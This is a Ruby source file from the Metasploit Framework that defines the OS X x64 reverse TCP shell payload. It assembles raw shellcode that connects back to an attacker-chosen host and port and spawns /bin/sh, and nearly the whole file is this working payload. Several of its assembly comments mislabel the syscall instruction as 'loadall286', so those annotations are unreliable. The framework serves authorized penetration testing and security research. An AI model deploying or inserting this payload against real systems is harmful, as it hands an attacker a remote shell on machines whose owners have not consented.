metasploit-framework/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb

92 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module MetasploitModule
CachedSize = 108
include Msf::Payload::Single
include Msf::Payload::Osx
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'OS X x64 Shell Reverse TCP',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
Opt::LHOST,
Opt::LPORT(4444)
], self.class)
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate
lhost = datastore['LHOST'] || '127.0.0.1'
# OptAddress allows either an IP or hostname, we only want IPv4
if not Rex::Socket.is_ipv4?(lhost)
raise ArgumentError, "LHOST must be in IPv4 format."
end
cmd = (datastore['CMD'] || '') + "\x00"
port = [datastore['LPORT'].to_i].pack('n')
ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
call = "\xe8" + [cmd.length].pack('V')
payload =
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
"\x6A\x02" + # push byte +0x2
"\x5F" + # pop rdi
"\x6A\x01" + # push byte +0x1
"\x5E" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x49\x89\xC4" + # mov r12,rax
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x62\x00\x00\x02" + # mov eax,0x2000062
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200
ipaddr +
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push byte +0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\x4C\x89\xE7" + # mov rdi,r12
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call + # call CMD.len
cmd + # CMD
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end